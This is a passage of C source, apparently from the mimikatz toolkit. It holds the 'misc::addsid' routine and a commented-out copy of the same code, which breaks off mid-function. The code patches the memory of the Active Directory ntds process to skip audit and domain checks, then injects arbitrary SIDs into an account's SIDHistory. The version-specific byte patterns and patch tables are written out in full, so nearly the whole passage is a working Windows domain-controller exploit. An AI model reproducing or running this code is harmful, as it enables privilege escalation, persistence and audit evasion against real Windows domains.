BYTE PTRN_WN81_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
|
||||
BYTE PTRN_WN81_7[] = {0x8b, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
|
||||
|
||||
BYTE PTRN_WN80_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
|
||||
BYTE PTRN_WN80_1[] = {0xC1, 0x05, 0x1A, 0x01, 0xe9}; // VerifyAuditingEnabled
|
||||
BYTE PTRN_WN80_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
|
||||
BYTE PTRN_WN80_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x84, 0x24, 0x58, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
|
||||
BYTE PTRN_WN80_4[] = {0x49, 0x8B, 0x41, 0x18, 0x48, 0x8D, 0x8C, 0x24, 0x10, 0x05, 0x00, 0x00}; // fNullUuid
|
||||
BYTE PTRN_WN80_5[] = {0xC7, 0x44, 0x24, 0x74, 0x1b, 0x07, 0x1A, 0x01, 0xE9}; // cmp r12
|
||||
BYTE PTRN_WN80_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
|
||||
BYTE PTRN_WN80_7[] = {0x44, 0x8B, 0x9C, 0x24, 0x9C, 0x01, 0x00, 0x00, 0x41, 0x81, 0xFB, 0xE8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
|
||||
|
||||
BYTE PTRN_W8R2_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
|
||||
BYTE PTRN_W8R2_1[] = {0x96, 0x05, 0x1a, 0x01, 0x48}; // VerifyAuditingEnabled
|
||||
//BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x28, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0xf8, 0x01, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2010
|
||||
BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x18, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0x00, 0x02, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2013
|
||||
BYTE PTRN_W8R2_3[] = {0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x70, 0x3b, 0xc6, 0x74};
|
||||
BYTE PTRN_W8R2_4[] = {0x05, 0x00, 0x00, 0x48, 0x8b, 0x11, 0x48, 0x3b, 0x50, 0x08, 0x75}; // fNullUuid
|
||||
BYTE PTRN_W8R2_5[] = {0xc7, 0x44, 0x24, 0x74, 0xed, 0x06, 0x1a, 0x01, 0x8b}; // cmp r14
|
||||
BYTE PTRN_W8R2_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
|
||||
BYTE PTRN_W8R2_7[] = {0x01, 0x00, 0x00, 0x41, 0x81, 0xfb, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
|
||||
|
||||
KULL_M_PATCH_MULTIPLE wservprev[] = {
|
||||
{{sizeof(PTRN_WN64_0), PTRN_WN64_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
{{sizeof(PTRN_WN64_1), PTRN_WN64_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
|
||||
{{sizeof(PTRN_WN64_2), PTRN_WN64_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
|
||||
{{sizeof(PTRN_WN64_3), PTRN_WN64_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
|
||||
{{sizeof(PTRN_WN64_4), PTRN_WN64_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
{{sizeof(PTRN_WN64_5), PTRN_WN64_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
|
||||
{{sizeof(PTRN_WN64_6), PTRN_WN64_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
|
||||
{{sizeof(PTRN_WN64_7), PTRN_WN64_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
|
||||
};
|
||||
KULL_M_PATCH_MULTIPLE w2k12r2[] = {
|
||||
{{sizeof(PTRN_WN81_0), PTRN_WN81_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
{{sizeof(PTRN_WN81_1), PTRN_WN81_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
|
||||
{{sizeof(PTRN_WN81_2), PTRN_WN81_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
|
||||
{{sizeof(PTRN_WN81_3), PTRN_WN81_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
|
||||
{{sizeof(PTRN_WN81_4), PTRN_WN81_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
{{sizeof(PTRN_WN81_5), PTRN_WN81_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
|
||||
{{sizeof(PTRN_WN81_6), PTRN_WN81_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
|
||||
{{sizeof(PTRN_WN81_7), PTRN_WN81_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
|
||||
};
|
||||
KULL_M_PATCH_MULTIPLE w2k12[] = {
|
||||
{{sizeof(PTRN_WN80_0), PTRN_WN80_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
{{sizeof(PTRN_WN80_1), PTRN_WN80_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
|
||||
{{sizeof(PTRN_WN80_2), PTRN_WN80_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
|
||||
{{sizeof(PTRN_WN80_3), PTRN_WN80_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
|
||||
{{sizeof(PTRN_WN80_4), PTRN_WN80_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
{{sizeof(PTRN_WN80_5), PTRN_WN80_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
|
||||
{{sizeof(PTRN_WN80_6), PTRN_WN80_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
|
||||
{{sizeof(PTRN_WN80_7), PTRN_WN80_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 15,},
|
||||
};
|
||||
KULL_M_PATCH_MULTIPLE w2k8r2[] = {
|
||||
{{sizeof(PTRN_W8R2_0), PTRN_W8R2_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
{{sizeof(PTRN_W8R2_1), PTRN_W8R2_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -14,},
|
||||
{{sizeof(PTRN_W8R2_2), PTRN_W8R2_2}, {sizeof(PTRN_JMP), PTRN_JMP}, 27,},
|
||||
{{sizeof(PTRN_W8R2_3), PTRN_W8R2_3}, {sizeof(PTRN_JMP), PTRN_JMP}, 9,},
|
||||
{{sizeof(PTRN_W8R2_4), PTRN_W8R2_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -11,},
|
||||
{{sizeof(PTRN_W8R2_5), PTRN_W8R2_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -17,},
|
||||
{{sizeof(PTRN_W8R2_6), PTRN_W8R2_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
|
||||
{{sizeof(PTRN_W8R2_7), PTRN_W8R2_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 20,},
|
||||
};
|
||||
|
||||
NTSTATUS kuhl_m_misc_addsid(int argc, wchar_t * argv[])
|
||||
{
|
||||
SERVICE_STATUS_PROCESS sNtds;
|
||||
HANDLE hProcess, hDs;
|
||||
KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iNtds;
|
||||
DWORD i, err;
|
||||
|
||||
KULL_M_MEMORY_ADDRESS sAddress = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {NULL, NULL};
|
||||
KULL_M_MEMORY_SEARCH sSearch;
|
||||
BOOL littleSuccess = TRUE;
|
||||
PPOLICY_DNS_DOMAIN_INFO pDnsInfo;
|
||||
PKULL_M_PATCH_MULTIPLE pOs = NULL;
|
||||
DWORD pOsSz = 0;
|
||||
|
||||
if(argc > 1)
|
||||
{
|
||||
if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8))
|
||||
{
|
||||
pOs = w2k8r2;
|
||||
pOsSz = ARRAYSIZE(w2k8r2);
|
||||
}
|
||||
else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_8) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE))
|
||||
{
|
||||
pOs = w2k12;
|
||||
pOsSz = ARRAYSIZE(w2k12);
|
||||
}
|
||||
else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_BLUE) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_10))
|
||||
{
|
||||
pOs = w2k12r2;
|
||||
pOsSz = ARRAYSIZE(w2k12r2);
|
||||
}
|
||||
else if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10)
|
||||
{
|
||||
pOs = wservprev;
|
||||
pOsSz = ARRAYSIZE(wservprev);
|
||||
}
|
||||
|
||||
if(pOs && pOsSz)
|
||||
{
|
||||
if(kull_m_net_getCurrentDomainInfo(&pDnsInfo))
|
||||
{
|
||||
err = DsBindW(NULL, NULL, &hDs);
|
||||
if(err == ERROR_SUCCESS)
|
||||
{
|
||||
if(kull_m_service_getUniqueForName(L"ntds", &sNtds))
|
||||
{
|
||||
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, sNtds.dwProcessId))
|
||||
{
|
||||
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aProcess.hMemory))
|
||||
{
|
||||
if(kull_m_process_getVeryBasicModuleInformationsForName(aProcess.hMemory, L"ntdsai.dll", &iNtds))
|
||||
{
|
||||
sSearch.kull_m_memoryRange.kull_m_memoryAdress = iNtds.DllBase;
|
||||
sSearch.kull_m_memoryRange.size = iNtds.SizeOfImage;
|
||||
|
||||
for(i = 0; (i < pOsSz) && littleSuccess; i++)
|
||||
{
|
||||
littleSuccess = FALSE;
|
||||
pOs[i].LocalBackup.hMemory = &KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
|
||||
pOs[i].LocalBackup.address = NULL;
|
||||
pOs[i].AdressOfPatch.hMemory = aProcess.hMemory;
|
||||
pOs[i].AdressOfPatch.address = NULL;
|
||||
pOs[i].OldProtect = 0;
|
||||
|
||||
sAddress.address = pOs[i].Search.Pattern;
|
||||
if(kull_m_memory_search(&sAddress, pOs[i].Search.Length, &sSearch, TRUE))
|
||||
{
|
||||
if(pOs[i].LocalBackup.address = LocalAlloc(LPTR, pOs[i].Patch.Length))
|
||||
{
|
||||
pOs[i].AdressOfPatch.address = (PBYTE) sSearch.result + pOs[i].Offset;
|
||||
if(!(littleSuccess = kull_m_memory_copy(&pOs[i].LocalBackup, &pOs[i].AdressOfPatch, pOs[i].Patch.Length)))
|
||||
{
|
||||
PRINT_ERROR_AUTO(L"kull_m_memory_copy (backup)");
|
||||
LocalFree(pOs[i].LocalBackup.address);
|
||||
pOs[i].LocalBackup.address = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
kprintf(L"Search %u : ", i);
|
||||
PRINT_ERROR_AUTO(L"kull_m_memory_search");
|
||||
}
|
||||
}
|
||||
|
||||
if(littleSuccess)
|
||||
{
|
||||
for(i = 0; (i < pOsSz) && littleSuccess; i++)
|
||||
{
|
||||
littleSuccess = FALSE;
|
||||
|
||||
if(kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, PAGE_EXECUTE_READWRITE, &pOs[i].OldProtect))
|
||||
{
|
||||
sAddress.address = pOs[i].Patch.Pattern;
|
||||
if(!(littleSuccess = kull_m_memory_copy(&pOs[i].AdressOfPatch, &sAddress, pOs[i].Patch.Length)))
|
||||
PRINT_ERROR_AUTO(L"kull_m_memory_copy");
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"kull_m_memory_protect");
|
||||
}
|
||||
}
|
||||
|
||||
if(littleSuccess)
|
||||
{
|
||||
kprintf(L"SIDHistory for \'%s\'\n", argv[0]);
|
||||
for(i = 1; i < (DWORD) argc; i++)
|
||||
{
|
||||
kprintf(L" * %s\t", argv[i]);
|
||||
err = DsAddSidHistoryW(hDs, 0, pDnsInfo->DnsDomainName.Buffer, argv[i], NULL, NULL, pDnsInfo->DnsDomainName.Buffer, argv[0]);
|
||||
if(err == NO_ERROR)
|
||||
kprintf(L"OK\n");
|
||||
else PRINT_ERROR(L"DsAddSidHistory: 0x%08x (%u)!\n", err, err);
|
||||
}
|
||||
}
|
||||
|
||||
for(i = 0; i < pOsSz; i++)
|
||||
{
|
||||
if(pOs[i].LocalBackup.address)
|
||||
{
|
||||
if(!kull_m_memory_copy(&pOs[i].AdressOfPatch, &pOs[i].LocalBackup, pOs[i].Patch.Length))
|
||||
PRINT_ERROR_AUTO(L"kull_m_memory_copy");
|
||||
LocalFree(pOs[i].LocalBackup.address);
|
||||
}
|
||||
if(pOs[i].OldProtect)
|
||||
kull_m_memory_protect(&pOs[i].AdressOfPatch, pOs[i].Patch.Length, pOs[i].OldProtect, &pOs[i].OldProtect);
|
||||
}
|
||||
}
|
||||
kull_m_memory_close(aProcess.hMemory);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
else PRINT_ERROR_AUTO(L"OpenProcess");
|
||||
}
|
||||
err = DsUnBindW(&hDs);
|
||||
}
|
||||
else PRINT_ERROR(L"DsBind: %08x (%u)!\n", err, err);
|
||||
LsaFreeMemory(pDnsInfo);
|
||||
}
|
||||
} else PRINT_ERROR(L"OS not supported (only w2k8r2 & w2k12r2)\n");
|
||||
} else PRINT_ERROR(L"It requires at least 2 args\n");
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
#endif
|
||||
//#ifdef _M_X64
|
||||
//BYTE PTRN_JMP[] = {0xeb};
|
||||
//BYTE PTRN_6NOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
|
||||
//
|
||||
//BYTE PTRN_WN64_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
|
||||
//BYTE PTRN_WN64_1[] = {0xfa, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
|
||||
//BYTE PTRN_WN64_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24}; // VerifySrcAuditingEnabledAndGetFlatName
|
||||
//BYTE PTRN_WN64_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x88, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
|
||||
//BYTE PTRN_WN64_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
|
||||
//BYTE PTRN_WN64_5[] = {0xc7, 0x44, 0x24, 0x74, 0x59, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
|
||||
//BYTE PTRN_WN64_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
|
||||
//BYTE PTRN_WN64_7[] = {0x8b, 0x84, 0x24, 0x6c, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
|
||||
//
|
||||
//BYTE PTRN_WN81_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
|
||||
//BYTE PTRN_WN81_1[] = {0xc2, 0x05, 0x1a, 0x01, 0xe9}; // VerifyAuditingEnabled
|
||||
//BYTE PTRN_WN81_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
|
||||
//BYTE PTRN_WN81_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x8c, 0x24, 0x60, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
|
||||
//BYTE PTRN_WN81_4[] = {0x49, 0x8b, 0x48, 0x18, 0x48, 0x8b, 0x84, 0x24, 0x00, 0x04, 0x00, 0x00}; // fNullUuid
|
||||
//BYTE PTRN_WN81_5[] = {0xc7, 0x44, 0x24, 0x74, 0x1c, 0x07, 0x1a, 0x01, 0xe9}; // cmp r12
|
||||
//BYTE PTRN_WN81_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
|
||||
//BYTE PTRN_WN81_7[] = {0x8b, 0x84, 0x24, 0x98, 0x01, 0x00, 0x00, 0x3d, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
|
||||
//
|
||||
//BYTE PTRN_WN80_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
|
||||
//BYTE PTRN_WN80_1[] = {0xC1, 0x05, 0x1A, 0x01, 0xe9}; // VerifyAuditingEnabled
|
||||
//BYTE PTRN_WN80_2[] = {0x48, 0x8b, 0xd7, 0x8b, 0x8c, 0x24, 0xc0/*, 0x00, 0x00, 0x00*/}; // VerifySrcAuditingEnabledAndGetFlatName
|
||||
//BYTE PTRN_WN80_3[] = {0xff, 0xff, 0x4c, 0x8d, 0x84, 0x24, 0x58, 0x01, 0x00, 0x00}; // ForceAuditOnSrcObj
|
||||
//BYTE PTRN_WN80_4[] = {0x49, 0x8B, 0x41, 0x18, 0x48, 0x8D, 0x8C, 0x24, 0x10, 0x05, 0x00, 0x00}; // fNullUuid
|
||||
//BYTE PTRN_WN80_5[] = {0xC7, 0x44, 0x24, 0x74, 0x1b, 0x07, 0x1A, 0x01, 0xE9}; // cmp r12
|
||||
//BYTE PTRN_WN80_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
|
||||
//BYTE PTRN_WN80_7[] = {0x44, 0x8B, 0x9C, 0x24, 0x9C, 0x01, 0x00, 0x00, 0x41, 0x81, 0xFB, 0xE8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
|
||||
//
|
||||
//BYTE PTRN_W8R2_0[] = {0xb8, 0x56, 0x21, 0x00, 0x00, 0x41}; // IsDomainInForest
|
||||
//BYTE PTRN_W8R2_1[] = {0x96, 0x05, 0x1a, 0x01, 0x48}; // VerifyAuditingEnabled
|
||||
////BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x28, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0xf8, 0x01, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2010
|
||||
//BYTE PTRN_W8R2_2[] = {0x48, 0x8d, 0x94, 0x24, 0x18, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0x00, 0x02, 0x00, 0x00, 0xe8}; // VerifySrcAuditingEnabledAndGetFlatName 2013
|
||||
//BYTE PTRN_W8R2_3[] = {0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x70, 0x3b, 0xc6, 0x74};
|
||||
//BYTE PTRN_W8R2_4[] = {0x05, 0x00, 0x00, 0x48, 0x8b, 0x11, 0x48, 0x3b, 0x50, 0x08, 0x75}; // fNullUuid
|
||||
//BYTE PTRN_W8R2_5[] = {0xc7, 0x44, 0x24, 0x74, 0xed, 0x06, 0x1a, 0x01, 0x8b}; // cmp r14
|
||||
//BYTE PTRN_W8R2_6[] = {0xa9, 0xff, 0xcd, 0xff, 0xff, 0x0f, 0x85}; // cmp eax
|
||||
//BYTE PTRN_W8R2_7[] = {0x01, 0x00, 0x00, 0x41, 0x81, 0xfb, 0xe8, 0x03, 0x00, 0x00, 0x73}; // SampSplitNT4SID
|
||||
//
|
||||
//KULL_M_PATCH_MULTIPLE wservprev[] = {
|
||||
// {{sizeof(PTRN_WN64_0), PTRN_WN64_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
// {{sizeof(PTRN_WN64_1), PTRN_WN64_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
|
||||
// {{sizeof(PTRN_WN64_2), PTRN_WN64_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
|
||||
// {{sizeof(PTRN_WN64_3), PTRN_WN64_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
|
||||
// {{sizeof(PTRN_WN64_4), PTRN_WN64_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
// {{sizeof(PTRN_WN64_5), PTRN_WN64_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
|
||||
// {{sizeof(PTRN_WN64_6), PTRN_WN64_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
|
||||
// {{sizeof(PTRN_WN64_7), PTRN_WN64_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
|
||||
//};
|
||||
//KULL_M_PATCH_MULTIPLE w2k12r2[] = {
|
||||
// {{sizeof(PTRN_WN81_0), PTRN_WN81_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
// {{sizeof(PTRN_WN81_1), PTRN_WN81_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
|
||||
// {{sizeof(PTRN_WN81_2), PTRN_WN81_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
|
||||
// {{sizeof(PTRN_WN81_3), PTRN_WN81_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
|
||||
// {{sizeof(PTRN_WN81_4), PTRN_WN81_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
// {{sizeof(PTRN_WN81_5), PTRN_WN81_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
|
||||
// {{sizeof(PTRN_WN81_6), PTRN_WN81_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
|
||||
// {{sizeof(PTRN_WN81_7), PTRN_WN81_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 12,},
|
||||
//};
|
||||
//KULL_M_PATCH_MULTIPLE w2k12[] = {
|
||||
// {{sizeof(PTRN_WN80_0), PTRN_WN80_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
// {{sizeof(PTRN_WN80_1), PTRN_WN80_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -13,},
|
||||
// {{sizeof(PTRN_WN80_2), PTRN_WN80_2}, {sizeof(PTRN_6NOP), PTRN_6NOP},-11,},
|
||||
// {{sizeof(PTRN_WN80_3), PTRN_WN80_3}, {sizeof(PTRN_6NOP), PTRN_6NOP}, -4,},
|
||||
// {{sizeof(PTRN_WN80_4), PTRN_WN80_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
// {{sizeof(PTRN_WN80_5), PTRN_WN80_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -16,},
|
||||
// {{sizeof(PTRN_WN80_6), PTRN_WN80_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
|
||||
// {{sizeof(PTRN_WN80_7), PTRN_WN80_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 15,},
|
||||
//};
|
||||
//KULL_M_PATCH_MULTIPLE w2k8r2[] = {
|
||||
// {{sizeof(PTRN_W8R2_0), PTRN_W8R2_0}, {sizeof(PTRN_JMP), PTRN_JMP}, -2,},
|
||||
// {{sizeof(PTRN_W8R2_1), PTRN_W8R2_1}, {sizeof(PTRN_JMP), PTRN_JMP}, -14,},
|
||||
// {{sizeof(PTRN_W8R2_2), PTRN_W8R2_2}, {sizeof(PTRN_JMP), PTRN_JMP}, 27,},
|
||||
// {{sizeof(PTRN_W8R2_3), PTRN_W8R2_3}, {sizeof(PTRN_JMP), PTRN_JMP}, 9,},
|
||||
// {{sizeof(PTRN_W8R2_4), PTRN_W8R2_4}, {sizeof(PTRN_JMP), PTRN_JMP}, -11,},
|
||||
// {{sizeof(PTRN_W8R2_5), PTRN_W8R2_5}, {sizeof(PTRN_JMP), PTRN_JMP}, -17,},
|
||||
// {{sizeof(PTRN_W8R2_6), PTRN_W8R2_6}, {sizeof(PTRN_6NOP), PTRN_6NOP}, 18,},
|
||||
// {{sizeof(PTRN_W8R2_7), PTRN_W8R2_7}, {sizeof(PTRN_JMP), PTRN_JMP}, 20,},
|
||||
//};
|
||||
//
|
||||
//NTSTATUS kuhl_m_misc_addsid(int argc, wchar_t * argv[])
|
||||
//{
|
||||
// SERVICE_STATUS_PROCESS sNtds;
|
||||
// HANDLE hProcess, hDs;
|
||||
// KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iNtds;
|
||||
// DWORD i, err;
|
||||
//
|
||||
// KULL_M_MEMORY_ADDRESS sAddress = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}, aProcess = {NULL, NULL};
|
||||
// KULL_M_MEMORY_SEARCH sSearch;
|
||||
// BOOL littleSuccess = TRUE;
|
||||
// PPOLICY_DNS_DOMAIN_INFO pDnsInfo;
|
||||
// PKULL_M_PATCH_MULTIPLE pOs = NULL;
|
||||
// DWORD pOsSz = 0;
|
||||
//
|
||||
// if(argc > 1)
|
||||
// {
|
||||
// if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8))
|
||||
// {
|
||||
// pOs = w2k8r2;
|
||||
// pOsSz = ARRAYSIZE(w2k8r2);
|
||||
// }
|
||||
// else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_8) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_BLUE))
|
||||
// {
|
||||
// pOs = w2k12;
|
||||
// pOsSz = ARRAYSIZE(w2k12);
|
||||
// }
|
||||
// else if((MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_BLUE) && (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_10))
|
||||
// {
|
||||
// pOs = w2k12r2;
|
||||
// pOsSz = ARRAYSIZE(w2k12r2);
|
||||
// }
|
||||
// else if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_10)
|
||||
// {
|
||||
// pOs = wservprev;
|
||||
// pOsSz = ARRAYSIZE(wservprev);
|
||||
// }
|
||||
//
|
||||
// if(pOs && pOsSz)
|
||||
// {
|
||||
// if(kull_m_net_getCurrentDomainInfo(&pDnsInfo))
|
||||
// {
|
||||
// err = DsBindW(NULL, NULL, &hDs);
|
||||
// if(err == ERROR_SUCCESS)
|
||||
// {
|
||||
// if(kull_m_service_getUniqueForName(L"ntds", &sNtds))
|
||||
// {
|
||||
// if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, sNtds.dwProcessId))
|
||||
// {
|
||||
// if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aProcess.hMemory))
|
||||
// {
|
||||
// if(kull_m_process_getVeryBasicModuleInformationsForName(aProcess.hMemory, L"ntdsai.dll", &iNtds))
|
||||
// {
|
||||
// sSearch.kull_m_memoryRange.kull_m_memoryAdress = iNtds.DllBase;
|
||||
// sSearch.kull_m_memoryRange.size = iNtds.SizeOfImage;
|
||||
//
|
||||
// for(i = 0; (i < pOsSz) && littleSuccess; i++)
|
||||
// {
|
||||
// littleSuccess = FALSE;
|
||||
// pOs[i].LocalBackup.hMemory = &KULL_M_MEMORY_GLOBAL_OWN_HANDLE;
|
||||
// pOs[i].LocalBackup.address = NULL;
|
||||
// pOs[i].AdressOfPatch.hMemory = aProcess.hMemory;
|
||||
// pOs[i].AdressOfPatch.address = NULL;
|
||||
// pOs[i].OldProtect = 0;
|
||||
//
|
||||
// sAddress.address = pOs[i].Search.Pattern;
|
||||
// if(kull_m_memory_search(&sAddress, pOs[i].Search.Length, &sSearch, TRUE))
|
||||
// {
|
||||
// if(pOs[i].LocalBackup.address = LocalAlloc(LPTR, pOs[i].Patch.Length))
|
||||
// {
|
||||
// pOs[i].AdressOfPatch.address = (PBYTE) sSearch.result + pOs[i].Offset;
|
||||
// if(!(littleSuccess = kull_m_memory_copy(&pOs[i].LocalBackup, &pOs[i].AdressOfPatch, pOs[i].Patch.Length)))
|
||||
// {
|
||||
// PRINT_ERROR_AUTO(L"kull_m_memory_copy (backup)");
|
||||
// LocalFree(pOs[i].LocalBackup.address);
|
||||
// pOs[i].LocalBackup.address = NULL;
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// else
|
||||
// {
|
||||
// kprintf(L"Search %u : ", i);
|
||||
// PRINT_ERROR_AUTO(L"kull_m_memory_search");
|
||||
// }
|
||||
// }
|
||||
//
|
||||
// if(littleSuccess)
|
||||
// {
|
||||
